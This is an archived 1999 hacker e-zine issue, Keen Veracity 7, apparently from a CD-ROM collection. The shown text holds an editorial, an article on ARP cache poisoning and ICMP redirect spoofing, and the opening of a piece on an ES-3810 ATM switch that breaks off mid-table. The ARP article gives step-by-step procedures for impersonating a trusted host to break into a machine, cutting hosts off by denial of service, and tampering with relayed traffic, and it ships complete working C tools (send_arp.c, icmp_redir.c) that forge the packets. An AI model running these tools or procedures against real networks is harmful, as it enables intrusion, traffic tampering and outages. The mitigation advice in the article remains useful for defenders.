home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / kv7.txt < prev    next >
Encoding:
Text File  |  1999-04-28  |  90.2 KB  |  2,420 lines

  1. -----------------------------------------------------------------------------  
  2.                           K E E N  V E R A C I T Y 
  3.                L E G I O N S  O F  T H E  U N D E R G R O U N D
  4.                              I S S U E  # [7]
  5. -----------------------------------------------------------------------------
  6.  
  7.                               --[CONTENTS]--
  8.  
  9. (1/8)--[Introduction]---------------------------------------[Digital Ebola]
  10. (2/8)--[Redir games with ARP and ICMP]-------------------------------[yuri]
  11. (3/8)--[FUN WITH THE ES-3810 AN ATM REALITY]--------------------[optiklenz]
  12. (4/8)--[Ip Aliasing]-----------------------------------------------[guidob]
  13. (5/8)--[Yet Another Newbies Guide to Linux Security]--------[Digital Ebola]
  14. (6/8)--[UBE98 -- Unbreakable Encryption]----------------------[Joe Peschel] 
  15. (7/8)--[Windows 95 Protection]-------------------------------------[NtWak0]
  16.  
  17. ---------------------------------------------------------------------------
  18. [Introduction]                                              [Digital Ebola]
  19. ---------------------------------------------------------------------------
  20.  
  21. It's here. Better late then never. Keen Veracity 7 is out in full 
  22. force for your reading pleasure. It seems that recent events are going
  23. to fuel this issue's editorial. 
  24.  
  25. The point that I wish to get across is
  26. not a kind one. The electronic skills you wield for work and play now 
  27. are showing their full capabilities. YOU are now a weapon. In a 
  28. alternate universe, a planet wages war, not with ships, jets, or 
  29. missiles, but with information and computers. Countries are now 
  30. invading each other via electronic boundaries. IT departments are now
  31. platoons. No country's data is safe. 
  32.  
  33. Sound far fetched? Is that really
  34. an alternate universe or the one in which we now live? You be the judge.
  35. Its a future that no one wishes to think of, or realise. No matter how
  36. much we protest, it will come down to it. And this is not a new idea.
  37. People have been toying around the idea for years. The digital age is
  38. bringing this concept to life, and there is nothing to stop it. 
  39. Goverments will try to regulate the people, to show they are making an
  40. effort, and to cover up their own tracks. For it is not the citizens 
  41. of the world that will make this happen, but the goverments themselves.
  42. They are taking a hackers concept, and turning it against the world not
  43. for the people, but for their gains. The media will help them, because
  44. it will fuel their coffers as well. I'm sure that certain "sources in
  45. cyberspace" will be glad to toss fuel on the fire and hype it all up.
  46. So, now, I ask of you, readers and associates in the field, to think 
  47. things through before you take that next server. It's coming down to a
  48. matter of ethics. And it looks like we, as researchers in the field, 
  49. are the only ones that care.
  50.  
  51. ---------------------------------------------------------------------------
  52. [ Playing redir games with ARP and ICMP]                   [yuri volobuev]
  53. ---------------------------------------------------------------------------
  54.       [ -Intro- ]
  55.  
  56. There're bugs and there're features.  All too often the distinction between
  57. the two is in the eye of the beholder.  I'd like to show how two legitimate
  58. protocols, ARP and ICMP, while properly implemented, can be used to achieve
  59. something which is, well, not desirable.
  60.  
  61. While passive attacks (sniffing) that take advantage of the root access to
  62. LAN are extremely popular and every half-way decent root kit has some kind
  63. of a net sniffer, active attacks are not nearly as widespread.  Yet, active
  64. participation in the life of your LAN may bring lots of fun and joy.  You
  65. knew that already, it's just that technical details had been somewhat
  66. obscure.  So, let there be more light.
  67.  
  68. Possibilities outlined here include spoofing and DoS.  While other means of
  69. spoofing, such as IP blind spoofing, are more general and powerful, in terms
  70. of who can use them, they require quite a lot of (guess)work and may be hard
  71. to implement.  ARP spoofing, on contrary, is very easy and robust.
  72.  
  73. While ARP spoofing is only possible on a local network, it may be a serious
  74. concern as a way to extend an already existing security breach.  If somebody
  75. can break into one machine on a subnet, ARP spoofing can be used to
  76. compromise the rest of it.
  77.  
  78.                            [ -Background on ARP- ]
  79.  
  80. [well, originally i wrote few paragraphs outlining arp, but then i figured
  81. that if you didn't know how it works already, you'll need to learn it from a
  82. better source.  I recommend "TCP/IP Illustrated" by W.Richard Stevens.]
  83.  
  84.                            [ -What can be done- ]
  85.  
  86. Let's consider a hypothetical network
  87.  
  88. IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
  89. hostname       cat        rat       dog       bat
  90. hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)
  91.  
  92. all connected by Ethernet in some simple way (i.e. no switches, no smart
  93. hubs).  You're on cat, you have root and desire to break into dog.  You know
  94. that dog trusts rat, so if you can successfully spoof rat, something can be
  95. gained.
  96.  
  97. First thing that comes to mind (I think everybody was thinking about this at
  98. some point) is "why don't I set my IP to the IP of that other machine
  99. and..." That won't work, at least it won't work reliably.  If you tell
  100. Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
  101. requests to that IP.  But so will rat.  It's a pure race condition, and
  102. there's no winner.  However, you can easily be the loser, because this
  103. particular situation happens quite often when some box is misconfigured to
  104. use somebody's else's IP, so many implmentations immedeately notice that and
  105. loudly complain.  Many network traffic analyzers flag that, too.  Seeing a
  106. syslog message saying something nasty (mentioning cat's Ethernet address) on
  107. the LAN admin's console is not quite what you want.  And what you want you
  108. won't necessarily get, that is getting anything remotely close to a working
  109. connection.
  110.  
  111. This of course can be helped.  The attached program, send_arp.c, can be a
  112. useful tool.  Just as its name says, it sends an ARP packet [ARP reply, to
  113. be exact: since the protocol is stateless, reply will be happily accepted
  114. even if no one ever asked for it.  Request would do just as well, though,
  115. because of the ARP caching logic] to the net, and you can make this packet
  116. to be what you want.  What you want is an ability to specify source and
  117. target IP and hardware addresses.
  118.  
  119. First, you don't want your Ethernet driver to talk too much, and it's easy
  120. to accomplish with ifconfig -arp.  Of course, it'll need ARP info anyway, so
  121. you'll have to feed it to the kernel manually with arp(8).  The critical
  122. part is convincing your neighbours.  In the case being described here, you
  123. want dog to believe that rat's hardware address is that of cat (AA:AA), so
  124. you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
  125. IP address 10.0.0.3 and target hardware address CC:CC.  Now, for all dog
  126. knows, rat is at AA:AA.  Cache entry would expire, of course, so it needs to
  127. be updated (request needs to be resent).  How often depends on the
  128. particular system, but every 40 sec or so should be sufficient for most
  129. cases.  Send it more often if you want, it won't hurt.
  130.  
  131. A complication here could come from an ARP caching implementation feature.
  132. Some systems (e.g. Linux) would try to update their cache entries by sending
  133. a unicast ARP request to the cached address (like your wife calling you just
  134. to make sure you're there).  Such a request can screw things up, because it
  135. could change victim's ARP entry that we just faked, so it must be prevented.
  136. This can be accomplished by feeding the "wife" system with replies so that
  137. it never has to ask for it.  Prevention is the best cure, as always.  This
  138. time, a real packet from dog to rat should be sent, it's just that cat will
  139. be sending it, not dog, but for rat there's no way to tell.  Again, doing it
  140. about every 40 sec is usually OK.
  141.  
  142. So the procedure is simple.  Bring up an alias interface, e.g. eth0:1 (or
  143. use your current one, whatever), with rat's IP and ARP on -- you need to set
  144. up some cache entries first, and it won't work on non-arp interface.  Set up
  145. a host route entry for dog through the right interface.  Set up a cache
  146. entry for dog, turn off arp, and it's all set.
  147.  
  148. Now, inject the venom with send_arp (hitting both dog and rat) and for all
  149. dog knows, you're on rat.  Just remember to keep sending those ARP packets
  150. to dog and rat.
  151.  
  152. This attack only works on the local network, of course (in general, it can
  153. reach as far as ARP packets can get, usually not too far because ARP packets
  154. are almost never routed).  But an interesting extension here is taking this
  155. outside by replacing dog's hardware address in the above plan with the
  156. router's.  If it works (I'm not sure it always will, router's ARP
  157. implementation may be tougher to fool, and since I don't want to try it on
  158. real routers, I don't know, but there's no simple reason why not) you can
  159. easily impersonate any machine on the local network to the rest of the
  160. world.  So the target machine could really be anywhere, but the machine
  161. you're impersonating must be on the same LAN.
  162.  
  163.                          [ -What else can be done- ]
  164.  
  165. Aside from spoofing, there's range of other things you can do with ARP.  The
  166. sky is really the limit here.  DoS is the most obvious application.
  167.  
  168. Feeding victim wrong hardware address is a powerful way to make it mute.
  169. You can prevent it from talking to any particular machine (and ARP cache
  170. size usually allows for the whole network to fit in, so effectively you can
  171. stop it from talking to everybody for some time).  Obvious target would be
  172. the router.  Cache poisoning again should be two-way: both the victim system
  173. and the system you don't want victim to talk to should be fed.  The simplest
  174. case would be feeding a non-existant address.  It's not the most efficient,
  175. though, as the system will quickly realize that it's talking to nobody and
  176. send out an ARP request.  Of course, your next drop of poison will nullify
  177. this, but you have to do it quite often.  A more efficient approach here is
  178. feeding the victim with the hardware address of the wrong machine, which
  179. itself is alive and well.  Again, it depends on a particular situation, but
  180. very often what happens is that victim keeps sending out packets of various
  181. types that arrive to the wrong destination, and destination system will
  182. promptly send ICMP Xxx Unreachable messages back, thus emulating a
  183. connection in some perverted way.  This pseudo-conection can easily postpone
  184. cache expiry.  On Linux, for example, pseudo-connection raises cache expiry
  185. from usual 1 min to about 10 min.  By that time, most or all TCP connections
  186. are screw up.  Could be quite annoying.  This way, one ARP packet can screw
  187. someone.
  188.  
  189. An interesting twist here is so-called "gratuitous ARP".  It's when the
  190. source and target IPs in the ARP request are the same, and it usually
  191. appears in a form of an Ethernet broadcast.  Some implementations recognize
  192. it as a special case, that of a system sending out updated information about
  193. itself to everybody, and cache that request.  This way one packet could
  194. screw up the entire network.  It must be admitted, though, that gratuitous
  195. ARP is not really defined as a part of ARP, so it's up to vendor to (not)
  196. implement it, and it's becoming increasingly less popular.
  197.  
  198. ARP is a serious tool for professional practical jokes, too.  Just imagine
  199. somebody setting up a relay, or tunnel, in a form of own machine that
  200. convinced two neighbours to send their packets intended for each other to
  201. relay's Ethernet.  If relay just forwards packets to their real
  202. destinations, no one would even notice.  However, some simple data stream
  203. modifications could have quite a spectacular effect on one's mental health.
  204. A simple, CPU-inexpensive "filter" could be swapping random two bytes at
  205. irregular long intervals.  If it hits the data portion, most of the
  206. checksums won't change, i.e. data stream would seem to be intact, yet
  207. strange and unexplicable things _will_ happen for no apparent reason.
  208.  
  209.                         [ -ICMP redirects- ]
  210.  
  211. An effect somewhat similar to ARP cache poisoning can be achieved in a
  212. different way, again using a legitimate protocol feature, ICMP route
  213. redirects.  Such a redirect is normally sent by the default router to the
  214. system to indicate that there's a shorter route to some particular
  215. destination.  Originally, both network and host route redirects were
  216. proposed, but later net redirects were deprecated and now are usually
  217. treated as host redirects.  Properly constructed ICMP packet that passes all
  218. sanity checks (it must come from the default router for the destination it's
  219. redirecting, new router should be on a directly connected network, etc.) it
  220. causes a host-route entry be added to the system routing table.
  221.  
  222. The concept is just as secure as ICMP itself, i.e. (security)NULL.  Spoofing
  223. routers IP address is simple, and attached icmp_redir.c does just that.
  224. Host Requirements RFC states that system MUST follow ICMP redirects unless
  225. it's a router.  And indeed all the systems I've tried happily accept it
  226. (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
  227. 2.0.31pre9, according to Alan Cox).
  228.  
  229. ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
  230. host routes won't expire with time.  And of course no access to local
  231. network is required, attack can be launched from anywhere.  So if the target
  232. system does accept ICMP redirects (and packets can actually reach it) that
  233. system can be stopped from talking to any particular address on the net
  234. (well, not all, but those that aren't on the same subnet with the target).
  235. Nameservers would be an obvious target.
  236.  
  237.                        [ -What can be done about it- ]
  238.  
  239. ARP is low level protocol and as such is usually hidden from normal people.
  240. LAN admins may be concerned with it at times, but if all goes well no one
  241. pays attention.  One can always inspect contents of ARP cache using arp(8),
  242. especially if there's some misterious network problem, but again it's not
  243. the first thing that comes to mind.  Even W95 has arp command, and
  244. remembering about it may be helpful in certain situations.  However, if
  245. you're the target of the attack originating from another network via gateway
  246. arp spoofing, there's no way to tell.  Similarly, host routing table could
  247. be examined to spot ICMP-generated entries (in most versions of route(1)
  248. they are marked with D letter in flags field).  Just be aware.
  249.  
  250. The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
  251. However, if machines are interconnected in some more advanced way,
  252. particularly using some smart hubs or switches, attack can be more visible
  253. or even impossible (same goes for passive attacks).  So there's yet another
  254. reason to invest in a good piece of network equipment.  A good deal of peace
  255. of mind may just come with it.
  256.  
  257. In general, however, I personally find it rather sad that things like ICMP
  258. redirects were made a default.  First, it's often not necessary because many
  259. networks have very simple structure and there's never a need for anything in
  260. addition to usual routing table.  Second, on more sophisticated networks
  261. routing table can be just as well set manually, it's not really such a
  262. dynamic thing, so why do it via ICMP?  And finally, it's dangerous, so I
  263. would like to disable it on my systems, even though it'll make them less
  264. compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
  265. with sources available, I can at least hack the kernel and #define it out.
  266. On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
  267. with systune (I'm genuinely surprised to see it there, I really am).  Other
  268. OSes can be configurable, too, I have no information.
  269.  
  270. With ARP, we basically face a situation when the problem of name resolution
  271. is solved dynamically without a centralized server.  It doesn't have to be
  272. this way.  When one wants to map hostname to an IP, nameserver is queried or
  273. /etc/hosts is consulted, i.e. there's some static mapping established.  I
  274. don't see why a similar thing can't be done with ARP.  Ethernet hardware
  275. addresses don't change too often, and when they do change, it won't kill net
  276. admin to change the corresponding map.  Ethernet can be forced in no-arp
  277. mode, you just need to make sure your ARP cache has all the entries made as
  278. permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
  279. procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
  280. NIS, but if you use NIS, ARP is probably not your top security concern
  281. anyway).  Old tradition of /etc/ethers can be brought back to life.  But
  282. getting a kick-ass Ethernet switch still looks better to me (paying for it
  283. does not, though).
  284.  
  285. And old wisdom still shine bright though time: don't use hostname-only based
  286. auth.  Those who do shall have no mercy from net gods.
  287.  
  288. cheers,
  289.  
  290. yuri
  291.  
  292. P.S. On Firewalls
  293.  
  294. I anticipate that many of you, having read the section about ICMP, are
  295. already flexing the fingers preparing to write a follow-up explaining that
  296. all those ICMP packets can be filtered out on the firewall, thus it's not a
  297. problem.  Please don't.  I'm well aware of the concept.  An if you feel you
  298. absolutely have to, don't cc the list needlessly.
  299.  
  300. I have to note that many people use "i have firewall, and I like it,
  301. therefore everyone else should get one or get lost" logic to argue that
  302. certain security problems are less serious because they can be effectively
  303. eliminated by putting a firewall between the protected network and
  304. Internet.  While I fully agree that having firewall is very good for
  305. security, I want to note that it's not always possible or effective.
  306.  
  307. Imagine an environment where all machines are directly connected to
  308. Internet, you have to share subnet with people you don't know who have
  309. vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
  310. job of making it eeeeeeasy" all over the place (and sure, these people know
  311. Unix, they've seen it in Jurassic Park... and that would be about it), and
  312. the router to your subnet is controlled by a separate organization.  Welcome
  313. to a standard academic environment, where people don't use firewalls.  In
  314. fact, in some of those environments one would be useful to protect the
  315. outside world from the people on the inside.  Still, people work there, and
  316. use computers, too.  And that's where per-host security solutions are
  317. necessary, it's a jungle where every host is for itself.  So please, next
  318. time you think "firewall", remember, it's not for everyone.
  319.  
  320. CUT HERE
  321. /* send_arp.c
  322.  
  323. This program sends out one ARP packet with source/target IP and Ethernet
  324. hardware addresses suuplied by the user.  It compiles and works on Linux
  325. and will probably work on any Unix that has SOCK_PACKET.
  326.  
  327. The idea behind this program is a proof of a concept, nothing more.  It
  328. comes as is, no warranty.  However, you're allowed to use it under one
  329. condition: you must use your brain simultaneously.  If this condition is
  330. not met, you shall forget about this program and go RTFM immediately.
  331.  
  332. yuri volobuev'97
  333. volobuev@t1.chem.umn.edu
  334.  
  335. */
  336.  
  337. #include <stdio.h>
  338. #include <ctype.h>
  339. #include <stdlib.h>
  340. #include <string.h>
  341. #include <errno.h>
  342. #include <netdb.h>
  343. #include <sys/socket.h>
  344. #include <linux/in.h>
  345. #include <arpa/inet.h>
  346. #include <linux/if_ether.h>
  347.  
  348.  
  349. #define ETH_HW_ADDR_LEN 6
  350. #define IP_ADDR_LEN 4
  351. #define ARP_FRAME_TYPE 0x0806
  352. #define ETHER_HW_TYPE 1
  353. #define IP_PROTO_TYPE 0x0800
  354. #define OP_ARP_REQUEST 2
  355.  
  356. #define DEFAULT_DEVICE "eth0"
  357.  
  358. char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
  359. \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};
  360.  
  361. struct arp_packet {
  362.         u_char targ_hw_addr[ETH_HW_ADDR_LEN];
  363.         u_char src_hw_addr[ETH_HW_ADDR_LEN];
  364.         u_short frame_type;
  365.         u_short hw_type;
  366.         u_short prot_type;
  367.         u_char hw_addr_size;
  368.         u_char prot_addr_size;
  369.         u_short op;
  370.         u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
  371.         u_char sndr_ip_addr[IP_ADDR_LEN];
  372.         u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
  373.         u_char rcpt_ip_addr[IP_ADDR_LEN];
  374.         u_char padding[18];
  375. };
  376.  
  377. void die(char *);
  378. void get_ip_addr(struct in_addr*,char*);
  379. void get_hw_addr(char*,char*);
  380.  
  381. int main(int argc,char** argv){
  382.  
  383. struct in_addr src_in_addr,targ_in_addr;
  384. struct arp_packet pkt;
  385. struct sockaddr sa;
  386. int sock;
  387.  
  388. if(argc != 5)die(usage);
  389.  
  390. sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
  391. if(sock<0){
  392.         perror("socket");
  393.         exit(1);
  394.         }
  395.  
  396. pkt.frame_type = htons(ARP_FRAME_TYPE);
  397. pkt.hw_type = htons(ETHER_HW_TYPE);
  398. pkt.prot_type = htons(IP_PROTO_TYPE);
  399. pkt.hw_addr_size = ETH_HW_ADDR_LEN;
  400. pkt.prot_addr_size = IP_ADDR_LEN;
  401. pkt.op=htons(OP_ARP_REQUEST);
  402.  
  403. get_hw_addr(pkt.targ_hw_addr,argv[4]);
  404. get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
  405. get_hw_addr(pkt.src_hw_addr,argv[2]);
  406. get_hw_addr(pkt.sndr_hw_addr,argv[2]);
  407.  
  408. get_ip_addr(&src_in_addr,argv[1]);
  409. get_ip_addr(&targ_in_addr,argv[3]);
  410.  
  411. memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
  412. memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
  413.  
  414. bzero(pkt.padding,18);
  415.  
  416. strcpy(sa.sa_data,DEFAULT_DEVICE);
  417. if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
  418.         perror("sendto");
  419.         exit(1);
  420.         }
  421. exit(0);
  422. }
  423.  
  424. void die(char* str){
  425. fprintf(stderr,"%s\n",str);
  426. exit(1);
  427. }
  428.  
  429. void get_ip_addr(struct in_addr* in_addr,char* str){
  430.  
  431. struct hostent *hostp;
  432.  
  433. in_addr->s_addr=inet_addr(str);
  434. if(in_addr->s_addr == -1){
  435.         if( (hostp = gethostbyname(str)))
  436.                 bcopy(hostp->h_addr,in_addr,hostp->h_length);
  437.         else {
  438.                 fprintf(stderr,"send_arp: unknown host %s\n",str);
  439.                 exit(1);
  440.                 }
  441.         }
  442. }
  443.  
  444. void get_hw_addr(char* buf,char* str){
  445.  
  446. int i;
  447. char c,val;
  448.  
  449. for(i=0;i<ETH_HW_ADDR_LEN;i++){
  450.         if( !(c = tolower(*str++))) die("Invalid hardware address");
  451.         if(isdigit(c)) val = c-'0';
  452.         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  453.         else die("Invalid hardware address");
  454.  
  455.         *buf = val << 4;
  456.         if( !(c = tolower(*str++))) die("Invalid hardware address");
  457.         if(isdigit(c)) val = c-'0';
  458.         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  459.         else die("Invalid hardware address");
  460.  
  461.         *buf++ |= val;
  462.  
  463.         if(*str == ':')str++;
  464.         }
  465. }
  466.  
  467. CUT HERE
  468.  
  469. /* icmp_redir.c
  470.  
  471. This program sends out an ICMP host redirect packet with gateway IP supplied
  472. by user.  It was written and tested under Linux 2.0.30 and could be rather
  473. easily modified to work on most Unices.
  474.  
  475. The idea behind this program is a proof of a concept, nothing more.  It
  476. comes as is, no warranty.  However, you're allowed to use it under one
  477. condition: you must use your brain simultaneously.  If this condition is
  478. not met, you shall forget about this program and go RTFM immediately.
  479.  
  480. yuri volobuev'97
  481. volobuev@t1.chem.umn.edu
  482.  
  483. */
  484. #include <stdio.h>
  485. #include <stdlib.h>
  486. #include <string.h>
  487. #include <errno.h>
  488. #include <unistd.h>
  489. #include <netdb.h>
  490. #include <syslog.h>
  491. #include <sys/socket.h>
  492. #include <arpa/inet.h>
  493. #include <netinet/in.h>
  494. #include <netinet/ip_icmp.h>
  495. #include <netinet/ip.h>
  496.  
  497. #define IPVERSION       4
  498.  
  499. struct raw_pkt {
  500.         struct iphdr ip; /* This is Linux-style iphdr.
  501.                             Use BSD-style struct ip if you want */
  502.         struct icmphdr icmp;
  503.         struct iphdr encl_iphdr;
  504.         char encl_ip_data[8];
  505. };
  506.  
  507. struct raw_pkt* pkt;
  508.  
  509. void die(char *);
  510. unsigned long int get_ip_addr(char*);
  511. unsigned short checksum(unsigned short*,char);
  512.  
  513. int main(int argc,char** argv){
  514.  
  515. struct sockaddr_in sa;
  516. int sock,packet_len;
  517. char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
  518. yuri volobuev'97\n\
  519. usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
  520. char on = 1;
  521.  
  522. if(argc != 5)die(usage);
  523.  
  524. if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  525.         perror("socket");
  526.         exit(1);
  527.         }
  528.  
  529. sa.sin_addr.s_addr = get_ip_addr(argv[2]);
  530. sa.sin_family = AF_INET;
  531.  
  532. packet_len = sizeof(struct raw_pkt);
  533. pkt = calloc((size_t)1,(size_t)packet_len);
  534.  
  535. pkt->ip.version = IPVERSION;
  536. pkt->ip.ihl = sizeof(struct iphdr) >> 2;
  537. pkt->ip.tos = 0;
  538. pkt->ip.tot_len = htons(packet_len);
  539. pkt->ip.id = htons(getpid() & 0xFFFF);
  540. pkt->ip.frag_off = 0;
  541. pkt->ip.ttl = 0x40;
  542. pkt->ip.protocol = IPPROTO_ICMP;
  543. pkt->ip.check = 0;
  544. pkt->ip.saddr = get_ip_addr(argv[1]);
  545. pkt->ip.daddr = sa.sin_addr.s_addr;
  546. pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
  547.  
  548. pkt->icmp.type = ICMP_REDIRECT;
  549. pkt->icmp.code = ICMP_REDIR_HOST;
  550. pkt->icmp.checksum = 0;
  551. pkt->icmp.un.gateway = get_ip_addr(argv[4]);
  552.  
  553. memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
  554. pkt->encl_iphdr.protocol = IPPROTO_IP;
  555. pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
  556. pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
  557. pkt->encl_iphdr.check = 0;
  558. pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
  559.         sizeof(struct iphdr));
  560.  
  561. pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
  562.         sizeof(struct raw_pkt)-sizeof(struct iphdr));
  563.  
  564. if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  565.         perror("setsockopt: IP_HDRINCL");
  566.         exit(1);
  567.         }
  568.  
  569. if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
  570.         perror("sendto");
  571.         exit(1);
  572.         }
  573. exit(0);
  574. }
  575.  
  576. void die(char* str){
  577. fprintf(stderr,"%s\n",str);
  578. exit(1);
  579. }
  580.  
  581. unsigned long int get_ip_addr(char* str){
  582.  
  583. struct hostent *hostp;
  584. unsigned long int addr;
  585.  
  586. if( (addr = inet_addr(str)) == -1){
  587.         if( (hostp = gethostbyname(str)))
  588.                 return *(unsigned long int*)(hostp->h_addr);
  589.         else {
  590.                 fprintf(stderr,"unknown host %s\n",str);
  591.                 exit(1);
  592.                 }
  593.         }
  594. return addr;
  595. }
  596.  
  597. unsigned short checksum(unsigned short* addr,char len){
  598. register long sum = 0;
  599.  
  600. while(len > 1){
  601.         sum += *addr++;
  602.         len -= 2;
  603.         }
  604. if(len > 0) sum += *addr;
  605. while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  606.  
  607. return ~sum;
  608. }
  609.  
  610. ---------------------------------------------------------------------------
  611. [FUN WITH THE ES-3810 AN ATM REALITY]                           [optiklenz]
  612. ---------------------------------------------------------------------------
  613.  
  614. NAME: Steve Stakton a.k.a. <optiklenz> 
  615. AFFILIATION: LOU- Legions Of the Underground 
  616. GOAL: TO KNOW BOTH WHAT EVERYONE ELSE KNOWS, AND DOESN'T KNOW 
  617. AGE: CAN YOU COUNT TO 24? 
  618. HEIGHT: WHY DONT I JUST DRAW YOU A FULL SKETCH COMPOSITE FOR YOUR WANTED 
  619. POSTERS? 
  620. WHERE: ON THE ROAD 
  621. DESTINATION: YET TO BE DECIDED 
  622. INTEREST: PHONE SYSTEMS (WHO DOESN'T USE THE TERM 
  623. COSMOS ON A DAY TO DAY BASIS), NETWORKS, ELECTRONICS, BEER, 
  624. RIGGING THE LOCAL NMS TO BREED WITH THE NEIGHBORS PDN. SOUTH PARK, 
  625. AND GIRLS WITH SLIGHT FACIAL HAIR 
  626. TURN-OFFS: PEOPLE WHO THINK THEY KNOW THINGS THEY DONT, AND GIRLS  
  627. WITH TO MUCH FACIAL HAIR. 
  628. HANGOUTS: VENICE BEACH, Narkotik Illusions, The Abyss & the Electronic 
  629. Source BBS 
  630. MUSIC GROUPs: Pink Floyd, and ICP, Rolling Stones (NO SECURITY!) 
  631. WEB: http://www.legions.org, http://www.t00ned.org/optik/ 
  632. OS OF CHOICE: *BSD 
  633. OS'S THAT SUCK: CALDERA, MACOS, AND THAT ONE OS MADE BY THAT BILL GUY.
  634.  
  635.  
  636.  
  637.            "Get out and ride on, baby, ride on, baby 
  638.            Ride on, baby, ride on, baby 
  639.            I could pick your face out in an FBI file 
  640.            You may look pretty but I can't say the same  
  641.            for your mind" -Rolling Stones 
  642.  
  643.  
  644. On with the show... 
  645.  
  646.  
  647. First off there are some definitions, and Acronyms to be familiar with. 
  648.  
  649. AMI (ATM Management Interface) - The user interface to switching control  
  650.     software.  AMI lets you monitor and change various operating 
  651.     configurations of switches and network module hardware and software, 
  652.     IP connectivity, and SNMP network management 
  653.  
  654. Bandwidth- usually identifies the capacity of data that can be sent 
  655.            through a given circuit; may be user-specified in a PVC. 
  656.  
  657. CBR (Constant Bit Rate)- A type of traffic that requires a continuous, 
  658.      specific amount of bandwidth over the ATM network 
  659.      (e.g., digital information such as video and digitized voice) 
  660.  
  661. ANSI (American National Standards Institute)- A private organization that 
  662.      coordinates the setting and approval of some U.S standards. It also
  663.      represents the U.S ISO   
  664.  
  665. BIP (Bit Interleaved Parity)- An error detection technique in which 
  666.     character bit patterns are forced into parity, so that the total
  667.     number of one bits is always odd or even.   
  668.  
  669. DSR (Data Set Ready)- an RS-232 modem interface control signal 
  670.     (sent from the modem to the DTE on pin 6) which indicates that the
  671.      modem is connected to the telephone circuit.   
  672.  
  673. DTE (Data Terminal Equipment)- generally user devices, such as terminals 
  674.      and computers that connect to data circuit terminating equipment. 
  675.      They either generate or capture data sent by the network 
  676.  
  677. ATDM (Asynchronous Time Division Multiplexing)- A method of sending 
  678.      information that resembles normal TDM, except that time slots are 
  679.      allocated as needed rather than prearranged to specific transmitters. 
  680.  
  681. EM- The CellPath 300 extension module; paired with the system controller 
  682.     and supporting an optional PCMCIA card. 
  683.  
  684. FDDI (Fiber distributed Data Interface)- High-speed data network that uses 
  685.      fiber-optic as the physical medium 
  686.  
  687. EPROM- Erasable Programmable Read Only Memory. 
  688.  
  689. CLP (Cell Loss Priority)- the last bit of byte four in an ATM cell header; 
  690.     indicates the eligibility of the cell for discard by the network under 
  691.     congested conditions.   
  692.  
  693.  
  694. [Introductory to the Management Station 
  695. ------------------* 
  696.  
  697. The ES-3810 is a switching architecture; it provides one with the ability 
  698. to work with multiple switched Ethernet ports along with high performance 
  699. ATM server and backbone connections to work with powerful network managing.  
  700.  
  701. The management console for the ES-3810 uses a menu based interface that 
  702. utilizes A VT-100  terminal or VT-100 emulator like ProComm or PC Plus.The
  703. serial interface   of the ES-3810 connects directly to either the DTE
  704. interface of the ASCII terminal or a serial port of the PC or workstation
  705. running terminal emulation.   
  706.  
  707. Note: If the NMM's SNMP-based management or IGMP support is going to be 
  708.       used, a console connection is required the first time the NMM is 
  709.       brought online since an IP address, subnet mask and possibly a
  710.       gateway must be defined.   
  711.  
  712.  
  713. [System Specs 
  714. ------------------* 
  715.  
  716. Aggregate Throughput      | 720,000 pps (packets per second) 
  717. Latency                   | 61 ~s per 64-bp (byte packets) 
  718. Filter/Forward Speed      | 14,881pps 
  719. Addresses/Port            | 4 [workgroup]; 8,192 [segment] 
  720. Buffering/Port            | 256kb 
  721. Media                     | UTP  
  722.  
  723.  
  724.  Print of settings an ES-3810 
  725.  
  726.     ____________________________________________________________________________ 
  727.    |                                                                            | 
  728.    | ES-3810 Interface Configuration                                            | 
  729.    |____________________________________________________________________________| 
  730.    |                                     |                                      | 
  731.    |  Type:                   SEC-10b    | Full Duplex:                Disabled | 
  732.    |  MAU:                    10BaseT    | Loopback:                   Disabled | 
  733.    |  Number:                 0          | Mode:                       Workgroup| 
  734.    |_____________________________________|______________________________________| 
  735.    |Media Configuration:  Auto-Negotiation In Process                           | 
  736.    |____________________________________________________________________________| 
  737.    |                                     |                                      | 
  738.    |  Link Detected:          No         | Forced Transmits:            Disabled| 
  739.    |  Link Polarity:          Correct    | VLAN Extension:                 n/a  |            
  740.    |                                     | Multicast Filtering:            n/a  | 
  741.    |_____________________________________|______________________________________|                  
  742.    |                                     | Transmitter:                 Enabled | 
  743.    |  Receiver:               Enabled    | Transmit Buffer:             Enabled | 
  744.    |  Receive Buffer:         Enabled    |                                      | 
